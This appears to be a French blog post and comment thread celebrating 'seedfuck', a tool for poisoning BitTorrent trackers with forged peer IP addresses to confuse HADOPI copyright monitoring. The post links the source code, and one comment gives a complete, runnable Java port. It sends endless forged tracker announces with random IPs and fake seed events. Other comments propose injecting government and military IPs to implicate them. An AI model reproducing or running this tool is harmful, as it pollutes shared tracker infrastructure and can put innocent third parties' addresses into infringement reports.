Torrent Poisoning : le p0c qui vient de tuer HADOPI

flattr this!

Comme prévu, même un peu en avance sur le calendrier, un code de Torrent poisoning est maintenant disponible, l’info vient d’être publiée ici. Répondant au doux nom de seedfuck, il sert à inonder les trackers Torrent de fausses adresses IP, tout comme The Pirate Bay l’avait promis. Le p0c est écrit en C Mono mais ne demande visiblement qu’à être porté.

Pour faire simple, voici comment ça fonctionne : on génère de fausses IP créant de l’activité sur un Hash (identifiant unique d’un fichier) donné, ces fausses ip génère du trafic et des events (donwload complété par exemple ou octets restants à télécharger).

Rappelons que la HADOPI surveillera une liste donnée d’oeuvres par leur Hash, ce qui veut dire que le bruit généré sur ces oeuvres surveillées va créer un sacré bazar.

… pire, un binaire Windows serait même déjà prêt !

On risque donc, aux premiers envois de mails de se payer de bonnes barres de rire, en retrouvant par exemple les IP de la rue de Valois dans les plus gros téléchargeurs.

Le code source est disponible ici.

16 Comments

on “Torrent Poisoning : le p0c qui vient de tuer HADOPI
16 Comments on “Torrent Poisoning : le p0c qui vient de tuer HADOPI
  1. Hmm, ça m'a l'air bien sympa mais…ce n'est pas à double tranchant ?
    Si les peers commencent à injecter des IP en masse, comment vont le prendre les trackers ?
    Les serveurs sauront-ils faire la différence ? (et les peers entre eux ?) et les admin de tracker privés, ça va leur plaire ?

    Et dans l'éventualité où il est techniquement possible pour les tracker (et les peers entre eux) de reconnaître les peers valides des fake; pourquoi n'en serait-il pas de même pour les serveurs d'Hadopi ?

    Anéfé, je demande des éclaircissements :)

  2. Hello,

    C'est effectivement à double tranchant, HADOPI va se régaler en disant qu'elle a été super efficace en envoyant des millers de courriers. Mais imaginez le nombre de contestations qu'elle risque de se prendre.
    En examinant le code, on se rend compte qu'il génère du trafic entre le fausses paires ce qui risque de rendre la détection fort complexe…. en tout cas plus onéreuse. Les trackers risquent donc d'être très pollués, c'est vrai.
    Mais vu que Hadopi ne va même pas se pencher sur le fait de savoir si un hash correspond bien à une oeuvre en téléchargeant le fichier pour s'assurer que c'est un file txt de 700mo avec le hash d'une oeuvre , ceci la forcerait à plus de vigilance à la collecte des IP si elle ne veut pas s'autospammer ou spammer la rue de Valois.
    TPB l'avait promis et c'est maintenant une menace bien réelle.

    Il ne s'agit pour le moment que d'un proof of concept,certes, mais il a, à mon sens de quoi donner quelques sueurs froides à l'HADOPI.

    Compilé, le programme pèse 5ko… ce qui veut dire qu'il est "trojan ready" … rien que ça …

    • Bonjour,
      Je ne suis qu'un retraité qui fait du DL pour raisons économiques, et surtout un farouche libertaire, voire anarchiste. Comment obtenir un programme qui me permettrait de noyer ce P….N d' Hadopi sous un déluge d'IP, si possible gouvernementales ou autres ? Merci infiniment. Continuez à défendre nos libertés. Robert

  3. C'est parfait ce petit truc ^^, par contre oui pour les téléchargements je pense que le peer ne recevra rien même si il y a d'indiqué 100% sur ces faux peers.

    Vivement sa sortie ;)

  4. Ce petit bout de programme est inutile !!! Ce n'est pas le contenu qui fait l'enveloppe :)
    Le contenu de la la requête contient une fausse adresse ip, mais les enveloppe (ou trame) tcp/ip contiennent la véritable provenance et destination.
    J'ose espérer que HADOPI se basera sur les trames IP plutôt que sur les contenue sinon ce serait vraiment trop facile !!
    Il est très facile à un programme de vérifier que l'adresse IP contenue dans la requête http est la même que celle d'ou provient cette requête dans la trame IP.

    Faut travailler encore un peu :)

    • A mon avis, il est itnéressant de lire le premier décret d'application (vous allez voir c'est très drôle … )
      Second point quel va être le surcout de la procédure si les ayants droits doivent constituer un dossier qui nécessite une once d'investigation humaine là où était prévu un traitement 100% automatisé ?

  5. Parceque vous pensez vraiment qu'hadopi va utiliser les Ip contenu dans une URL pour fliquer ?
    parceque le code en question ne fait que mettre une ip bidon dans une URL donc votre IP a vous est toujours visible……
    j'dis ca j'dis rien…….

  6. Il ne reste plus qu'a intégrer les IPs issus des blacklist d'emule contenant toutes les IP gouvernementales, militaires et relatives aux ayants droits… et on est bon pour vraiment rire !

  7. Juste une petite rectification technique: le language de programation utilisé est le C# (à prononcer C-SHARP). Il peut être exécuté sour .NET (le framework de Microsoft) ou bien sous Mono (l'alternative open source du .Net framework). Mais le portage vers un autre language est trivial vu la simplicité du code proposé.

  8. package tpsf;

    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.net.URL;
    import java.net.URLConnection;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.Calendar;
    import java.util.Random;

    public class ToPoSeFu {
    static String tracker;
    static String hash;

    /**
    * @param args
    * @throws InterruptedException
    */
    public static void main(String[] args) throws InterruptedException {
    tracker = "http://tracker.example.com";
    hash = "1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1";

    ArrayList<Thread> tp = new ArrayList<Thread>();
    for (int i = 0; i < 5; i++) {
    tp.add(new Thread( new TorrentThread() ));
    tp.get(i).start();
    Thread.sleep(10);
    }
    while (true) {
    Thread.sleep(50);
    }
    }

    static class TorrentThread implements Runnable {
    @Override
    public void run() {

    // encode the hash
    String hashEncoded = "";
    for (int i = 0; i < 20; i++) {
    hashEncoded += "%" + ToPoSeFu.hash.charAt(i * 2) + ToPoSeFu.hash.charAt((i * 2) + 1);
    }

    // enter the main loop
    while (true) {
    // generate a random IP address
    String ip = GenerateIP();
    // create a timestamp for display purposes
    SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss");
    String time = sdf.format(Calendar.getInstance().getTime());

    // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
    boolean completed = (RNG.next(0, 3) == 0);
    String torrentEvent = (completed ? "completed" : "started");
    // pick a random size
    int left = (completed ? 0 : RNG.next(1024 * 1024 * 2, 1024 * 1024 * 1024));
    // create the url – change the announce url to whatever your particular torrent is using
    String url = ToPoSeFu.tracker + "/announce?info_hash=" + hashEncoded +
    "&peer_id=" + RNG.next(1000000, 9999999) + RNG.next(100000, 999999) + RNG.next(1000000, 9999999) +
    "&port=" + RNG.next(5000, 32000) + "&uploaded=0&downloaded=0&left=" + left +
    "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
    // attempt the announce
    try {
    ToPoSeFu.DownloadData(url);
    System.out.println("[" + time + "] Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]" + this);
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
    }

    public static String DownloadData(String url) throws IOException {
    URL _url = new URL(url);
    URLConnection con = _url.openConnection();
    con.setUseCaches(false);
    //con.connect();
    String type = null; //con.getContentType();

    // useless
    if (type != null) {
    byte[] buffer = new byte[4 * 1024];
    int read;

    ByteArrayOutputStream os = new ByteArrayOutputStream();
    InputStream in = con.getInputStream();

    while ((read = in.read(buffer)) > 0) {
    os.write(buffer, 0, read);
    }

    os.close();
    in.close();

    return os.toString();
    } else {
    return "FAILED_UKNOWNTYPE";
    }
    }

    static String GenerateIP() {
    // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
    return RNG.next(50, 220) + "." + RNG.next(10, 100) + "." + RNG.next(1, 255) + "." + RNG.next(1, 255);
    }

    static class RNG {
    private static Random _rnd = new Random();
    public static int next(int min, int max) {
    return min + _rnd.nextInt(max-min);
    }
    }
    }

  9. hey didonc "canard tu causse mailleur" hein! ; b
    un poil de commentaire pour decrir un peu ton code aurrait ete sympas (pasque lâ c un poil indigeste quand meme

Laisser un commentaire